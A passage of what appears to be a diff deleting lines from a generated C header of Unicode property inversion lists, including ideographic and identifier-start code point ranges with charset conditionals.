0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6DF, - 0x6E9, - 0x6EA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x82E, - 0x840, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x964, - 0x966, - 0x970, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x104A, - 0x1050, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1369, - 0x1372, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DE, - 0x17E0, - 0x17EA, - 0x180B, - 0x180E, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1AB0, - 0x1ABE, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1BF4, - 0x1C00, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x3005, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x3099, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA62C, - 0xA640, - 0xA670, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA92E, - 0xA930, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA9C1, - 0xA9CF, - 0xA9DA, - 0xA9E0, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF3B, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11047, - 0x11066, - 0x11070, - 0x1107F, - 0x110BB, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DE, - 0x11600, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x118A0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_IDEO_invlist[] = { /* for all charsets */ - 33, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3006, - 0x3008, - 0x3021, - 0x302A, - 0x3038, - 0x303B, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B170, - 0x1B2FC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -static const UV PL_IDEOGRAPHICSYMBOLS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16FE0, - 0x17000 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_IDS_invlist[] = { /* for ASCII/Latin1 */ - 1171, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xB5, - 0xB6, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x620, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x971, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC80, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xE01, - 0xE31, - 0xE32, - 0xE34, - 0xE40, - 0xE47, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x1820, - 0x1878, - 0x1880, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1AA7, - 0x1AA8, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 